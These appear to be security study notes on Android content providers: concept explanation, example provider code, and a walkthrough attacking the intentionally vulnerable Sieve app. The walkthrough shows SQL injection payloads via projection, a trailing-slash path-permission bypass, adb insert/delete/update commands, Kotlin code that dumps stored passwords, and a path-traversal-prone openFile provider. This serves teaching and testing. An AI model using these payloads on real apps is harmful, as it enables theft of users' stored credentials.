You’re almost there — sign up to start building in Notion today.
Sign up or login
Content Provider

Content Provider

Content provider is a way for different apps to share information with each other. It's like having a big library where different apps can store their information, and other apps can come to the library to read or write that information.
For example, imagine you have a photo editing app that stores all the photos you edit, and you want to share those photos with a social media app. Instead of copying the photos from one app to the other, you can use a content provider to share the photos directly between the apps. The photo editing app would store the photos in its content provider, and the social media app would access the photos through the content provider.
To access data from a content provider, you use a ContentResolver object that communicates with the provider using a content URI. A content URI is a string that identifies the data you want to access, such as
content://com.example.app.provider/table1
.
To create your own content provider, you need to implement a subclass of ContentProvider and declare it in your manifest file. You also need to implement methods for querying, inserting, updating, and deleting data in your provider.
💡 Callout icon
Each content URI must be unique. For this reason developers usually use their package name
💡 Callout icon
In reverse engineering prospective, it’s a good idea to search for
content://
to find app content providers.
Each content URI consist of three parts. For example
content://com.android.contacts/contacts
:
Prefix: The “content://” part is prefix. It’s mean we have an content provider.
Authority: The “
com.android.contacts
” part is authority. It’s as unique identifier for content provider. Usually it’s package name of application.
Table
Row

Playing With Content Providers

How to access them with adb?

content query --uri content://com.android.contacts/contacts/1

How to create a content provider?

Here's a basic example of how to create a content provider in Android:
First, define the contract for your content provider in a Java interface:
public interface MyProviderContract { String AUTHORITY = "com.example.myapp.provider"; Uri CONTENT_URI = Uri.parse("content://" + AUTHORITY + "/items"); String COLUMN_ID = "_id"; String COLUMN_NAME = "name"; String COLUMN_DESCRIPTION = "description"; }
This interface defines the authority for your content provider (
AUTHORITY
), the content URI for your provider (
CONTENT_URI
), and the column names for the data you want to expose (
COLUMN_ID
,
COLUMN_NAME
, and
COLUMN_DESCRIPTION
).
Next, create a class that extends
ContentProvider
and implements the methods for inserting, updating, deleting, and querying data:
public class MyProvider extends ContentProvider { private MyDatabaseHelper dbHelper; // This method is called when the content provider is created. // It is responsible for initializing any resources the provider needs. @Override public boolean onCreate() { dbHelper = new MyDatabaseHelper(getContext()); return true; } // This method is called when another application requests data from the provider. // It returns a Cursor object that represents the result of a database query. @Override public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) { SQLiteDatabase db = dbHelper.getReadableDatabase(); Cursor cursor = db.query("items", projection, selection, selectionArgs, null, null, sortOrder); // This line notifies any registered observers that the data has changed. cursor.setNotificationUri(getContext().getContentResolver(), uri); return cursor; } // This method is called when another application wants to insert data into the provider. // It returns a Uri object that represents the newly inserted row. @Override public Uri insert(Uri uri, ContentValues values) { SQLiteDatabase db = dbHelper.getWritableDatabase(); // This line inserts the data into the database and returns the row ID of the newly inserted row. long id = db.insert("items", null, values); // This line creates a Uri object that represents the newly inserted row. Uri itemUri = ContentUris.withAppendedId(MyProviderContract.CONTENT_URI, id); // This line notifies any registered observers that the data has changed. getContext().getContentResolver().notifyChange(itemUri, null); return itemUri; } // This method is called when another application wants to update existing data in the provider. // It returns the number of rows that were affected by the update. @Override public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) { SQLiteDatabase db = dbHelper.getWritableDatabase(); // This line updates the data in the database and returns the number of rows that were affected. int count = db.update("items", values, selection, selectionArgs); // This line notifies any registered observers that the data has changed. getContext().getContentResolver().notifyChange(uri, null); return count; } // This method is called when another application wants to delete data from the provider. // It returns the number of rows that were deleted. @Override public int delete(Uri uri, String selection, String[] selectionArgs) { SQLiteDatabase db = dbHelper.getWritableDatabase(); // This line deletes the data from the database and returns the number of rows that were deleted. int count = db.delete("items", selection, selectionArgs); // This line notifies any registered observers that the data has changed. getContext().getContentResolver().notifyChange(uri, null); return count; } // This method is used to retrieve the MIME type of the data at the specified Uri. // In this example, we don't need to implement this method, so it just returns null. @Override public String getType(Uri uri) { return null; } }
A Description for
query
method:
public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder)
uri
(required): A
Uri
object that identifies the data that should be returned. This can be a specific row in a table, or a collection of rows that match certain criteria. The format of the
Uri
is defined by the content provider's contract.
projection
(optional): A string array that specifies which columns of the data should be returned. If
projection
is
null
, all columns are returned.
selection
(optional): A filter that is applied to the data before it is returned. The filter is expressed as an SQL
WHERE
clause (without the
WHERE
keyword). For example,
"name = ?"
would filter the data to only include rows where the
name
column equals the value specified in
selectionArgs
.
selectionArgs
(optional): An array of values that are substituted into the
selection
filter. Each
?
in the
selection
filter is replaced with a value from
selectionArgs
. For example, if
selection
is
"name = ?"
and
selectionArgs
is
{"John"}
, the filter would match rows where the
name
column is
John
.
sortOrder
(optional): A string that specifies how the data should be sorted. The string should be in the same format as an SQL
ORDER BY
clause. For example,
"name DESC"
would sort the data by the
name
column in descending order.
The
query
method returns a
Cursor
object that represents the result of the query. The
Cursor
contains a set of rows that match the query, along with metadata about each column in the result set. The
Cursor
can be used to iterate over the result set and extract the data that you need.
Example of usage:
val uri = ContactsContract.Contacts.CONTENT_URI val projection = arrayOf( ContactsContract.Contacts._ID, ContactsContract.Contacts.DISPLAY_NAME, ContactsContract.Contacts.PHOTO_URI ) val selection = "${ContactsContract.Contacts.DISPLAY_NAME} LIKE ?" val selectionArgs = arrayOf("%John%") val sortOrder = "${ContactsContract.Contacts.DISPLAY_NAME} ASC" val limit = "10" val cursor = contentResolver.query( uri, projection, selection, selectionArgs, sortOrder, limit )
In this example, we're assuming that the data is stored in a SQLite database (
MyDatabaseHelper
is a custom implementation of
SQLiteOpenHelper
). The
query
method returns a
Cursor
object that represents the result of a database query, and the
insert
,
update
, and
delete
methods modify the data in the database.
Finally, declare your content provider in the
AndroidManifest.xml
file:
<provider android:name=".MyProvider" android:authorities="com.example.myapp.provider" android:exported="false" />
This registers your content provider with the system, using the authority you defined in your contract. The
exported
attribute is set to
false
to prevent other applications from accessing the provider directly.

Access Content Provider Programmatically

// Construct the Uri that identifies the provider's data. Uri uri = Uri.parse("content://com.example.myapp.provider/items"); // Query the provider to retrieve the items from the "items" table. Cursor cursor = getContentResolver().query(uri, null, null, null, null); // Check if the query returned any results. if (cursor != null && cursor.getCount() > 0) { // The query returned at least one row, so iterate over the result set. while (cursor.moveToNext()) { // Extract the values from the current row using the column names. int id = cursor.getInt(cursor.getColumnIndex("_id")); String name = cursor.getString(cursor.getColumnIndex("name")); String description = cursor.getString(cursor.getColumnIndex("description")); // Process the data here... } // Close the cursor to free up resources. cursor.close(); }

SQL Injection in Content Providers

First you should know it’s very rare case. Most of developers use separate database for sensitive data or using some libraries like Room to access database which are same from SQL Injection vulnerability. But It’s a good point to always check for SQL Injection in content providers. How to check? It’s easy just present your payload in URI.
Let’s do it step by step:
We can place our payload in Uri:

Lets investigate around Sieve app 🙂

Ok. First as reverse engineer we first need to decompile the
apk
to
Java
source code. For this purpose we use a tool named
Jadx
.
jadx.bat -d sieve-jadx --show-bad-code sieve.apk
Lets open it in visual studio code
code sieve-jadx
Ok. Let’s lookout the manifest:
As you see we have two provider. The first provider define path-permission. We can see this custom permission in manifest:
It is clear that to accessing
/Keys
path we need to have custom permission. Our purpose in this section is bypass this restriction and access to
/Keys
without any permission. So deep dive into
.DBContentProvider
class.
As it is evident in the picture, we have to content URI which should check theme. Lets query both of theme:
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" Row: 0 _id=1, service=gmail, username=sec.zone64@gmail.com, password=BLOB, email=sec.zone64
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Keys" Error while accessing provider:com.mwr.example.sieve.DBContentProvider java.lang.SecurityException: Permission Denial: reading com.mwr.example.sieve.DBContentProvider uri content://com.mwr.example.sieve.DBContentProvider/Keys from pid=15732, uid=2000 requires com.mwr.example.sieve.READ_KEYS, or grantUriPermission() at android.os.Parcel.createExceptionOrNull(Parcel.java:2373) at android.os.Parcel.createException(Parcel.java:2357) at android.os.Parcel.readException(Parcel.java:2340) at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:190) at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:142) at android.content.ContentProviderProxy.query(ContentProviderNative.java:472) at com.android.commands.content.Content$QueryCommand.onExecute(Content.java:654) at com.android.commands.content.Content$Command.execute(Content.java:521) at com.android.commands.content.Content.main(Content.java:727) at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method) at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:399)
As we learned in last section, we can try SQL Injection to get
keys
path content by querying
passwords
path. Let’s do that:
First we should now the table names. Because they me different from path names.
Getting table names: ( You can find theme from source code too)
generic_x86:/ $ su generic_x86:/ # cd /data/data/com.mwr.example.sieve/databases/ generic_x86:/data/data/com.mwr.example.sieve/databases # sqlite3 database.db sqlite> .table Key Passwords android_metadat sqlite> .quit
Now we try to set SQL Injection payload on the
Passwords
content provider:
Checking
Passwords
Path:
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" Row: 0 _id=1, service=gmail, username=sec.zone64@gmail.com, password=BLOB, email=sec.zone64
b. Put SQL Injection payload:
--projection "* from key--"
generic_x86:/ $ content query --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --projection "* from key--" Row: 0 Password=123456789123456789, pin=1234

Another way to bypass

The developer assign permission to
/Keys
path. But what if we use
/Keys/
or
/Keys/////
? Yeh it will bypassed.
The only solution fix this bug is to using regular experssion instead of static path.
content query --uri "content://com.mwr.example.sieve.DBContentProvider/Keys/////////"

Bonus: How to insert/delete/update into content providers?

content insert --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --bind service:s:seczone64Service --bind username:s:seczone64Usr --bind email:s:sec.zone64@gmail.com --bind password:b:0 # --bind syntax: columnName:datatype:value # For example we have username column which is string so: --bind username:s:myusername # Or we have password which is binary(Because it's encrypted) : --bind password:b:0 # Delete content delete --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --where "username='seczone64Usr'" # Update the password to null content update --uri "content://com.mwr.example.sieve.DBContentProvider/Passwords" --bind password:n: --where "username='seczone64Usr'"

Let’s Exploit It Programmatically

We learned in last section how to access content providers. So for reading seieve content provider we do like this:
val sievePasswordsUri = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords") val cursor = contentResolver.query( sievePasswordsUri, null, null, null, null) cursor?.let { println(DatabaseUtils.dumpCursorToString(cursor)) cursor.close() return } println("Cursor is null.")
The problem is that when you use this code, you will get
Cursor is null
error. The reason is Package Visibility on android 11 (API Level 30).

What is Package Visibility

When an app targets Android 11 (API level 30) or higher and queries for information about the other apps that are installed on a device, the system filters this information by default. This filtering behavior means that your app can’t detect all the apps installed on a device, which helps minimize the potentially sensitive information that your app can access but doesn't need to fulfill its use cases.
Some packages are visible automatically. Your app can always detect these packages in its queries for other installed apps. To view other packages, declare your app's need for increased package visibility using the <queries> element.
In the rare cases where the 
<queries>
 element doesn't provide adequate package visibility, you can use the 
QUERY_ALL_PACKAGES
 permission.
So let’s continue. We should change the manifest and add this code:
<queries> <package android:name="com.mwr.example.sieve" /> </queries>
Run again and it will work.
You can also use this permission, but it is not recommended, and your app may have restrictions when you want to publish it on the Play Store.
<uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
For SQL Injection you can use this payload:
val sievePasswordsUri = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords/") val projection = "* from key;--" val cursor = contentResolver.query( sievePasswordsUri, arrayOf(projection), null, null, null) cursor?.let { val data = DatabaseUtils.dumpCursorToString(cursor) println(data) cursor.close() return data } println("Cursor is null.") return "Null"
For getting password bytes:
val sievePasswordsUri = Uri.parse("content://com.mwr.example.sieve.DBContentProvider/Passwords/") val cursor = contentResolver.query( sievePasswordsUri, null, null, null, null) cursor?.let { cursor.moveToFirst() var data = DatabaseUtils.dumpCursorToString(cursor) val passwordColumnIndex = cursor.getColumnIndex("password") if(passwordColumnIndex > 0){ val passwordBytes = cursor.getBlob(passwordColumnIndex) data += "\n\r\n\r ${android.util.Base64.encodeToString(passwordBytes,0)}" } println(data) cursor.close() return data } println("Cursor is null.") return "Null"

There is More…

We can use content providers to working with files too. For example an app can share various file like photo's or other things.
class FileContentProvider : ContentProvider() { override fun onCreate(): Boolean { return true } override fun query( uri: Uri, projection: Array<String>?, selection: String?, selectionArgs: Array<String>?, sortOrder: String? ): Cursor? { return null } override fun getType(uri: Uri): String? { return null } override fun insert(uri: Uri, values: ContentValues?): Uri? { return null } override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int { return 0 } override fun update( uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>? ): Int { return 0 } override fun openFile(uri: Uri, mode: String): ParcelFileDescriptor? { val file = File(uri.path!!) val fileMode = when (mode) { "r" -> ParcelFileDescriptor.MODE_READ_ONLY "w" -> ParcelFileDescriptor.MODE_WRITE_ONLY or ParcelFileDescriptor.MODE_CREATE "rw" -> ParcelFileDescriptor.MODE_READ_WRITE or ParcelFileDescriptor.MODE_CREATE else -> throw IllegalArgumentException("Unsupported mode: $mode") } return ParcelFileDescriptor.open(file, fileMode) } }
And client can use like this:
val fileUri = Uri.parse("content://com.example.fileprovider/myfile.txt") val fileDescriptor = contentResolver.openFileDescriptor(fileUri, "r") val inputStream = FileInputStream(fileDescriptor.fileDescriptor) // read from the input stream...
💡 Callout icon
ParcelFileDescriptor
 is a class in Android that provides a way to pass file descriptors (i.e. handles to open files) between processes. It's similar to a regular 
FileDescriptor
, but it can be used across process boundaries, which makes it useful for inter-process communication.
Or you can use
content
command in adb:
content read --uri content://com.example.fileprovider/myfile.txt/<ID> > /path/to/local/file.txt

Tasks

Exploit path traversal content provider in MyNotes application.